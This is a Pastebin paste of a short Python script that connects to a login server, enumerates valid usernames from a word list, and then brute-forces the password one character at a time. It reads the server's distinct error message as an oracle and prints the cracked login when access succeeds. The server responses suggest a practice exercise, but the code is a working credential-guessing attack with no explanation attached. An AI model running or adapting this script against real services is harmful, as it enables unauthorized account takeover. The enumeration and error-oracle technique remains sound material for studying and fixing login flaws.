Advertisement
Guest User

Untitled

a guest
Apr 2nd, 2022
423
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.28 KB | None | 0 0
  1. import sys
  2. import socket
  3. import json
  4.  
  5. ip_address = sys.argv[1]
  6. port = int(sys.argv[2])
  7.  
  8. address = (ip_address, port)
  9.  
  10. user_socket = socket.socket()
  11. user_socket.connect(address)
  12.  
  13. l = open("logins.txt")
  14. logins = l.read().split()
  15.  
  16. combo = {
  17.     "login": "",
  18.     "password": " "
  19. }
  20.  
  21. dict = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
  22.  
  23. for login in logins:
  24.     combo["login"] = login
  25.     combojson = json.dumps(combo)
  26.     user_socket.send(combojson.encode())
  27.     response = user_socket.recv(1024)
  28.     messagejson = response.decode()
  29.     message = json.loads(messagejson)
  30.     if message["result"] == "Wrong password!":
  31.         combo["login"] = login
  32.         break
  33.     else:
  34.         continue
  35.  
  36. psswd = ""
  37.  
  38. while True:
  39.     for i in dict:
  40.         combo["password"] = psswd + i
  41.         combojson = json.dumps(combo)
  42.         user_socket.send(combojson.encode())
  43.         response = user_socket.recv(1024)
  44.         messagejson = response.decode()
  45.         message = json.loads(messagejson)
  46.         if message["result"] == "Exception happened during login":
  47.             psswd += i
  48.         elif message["result"] == "Connection success!":
  49.             print(combojson)
  50.             exit()
  51.         else:
  52.             continue
  53.  
  54. l.close()
  55. user_socket.close()
  56.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement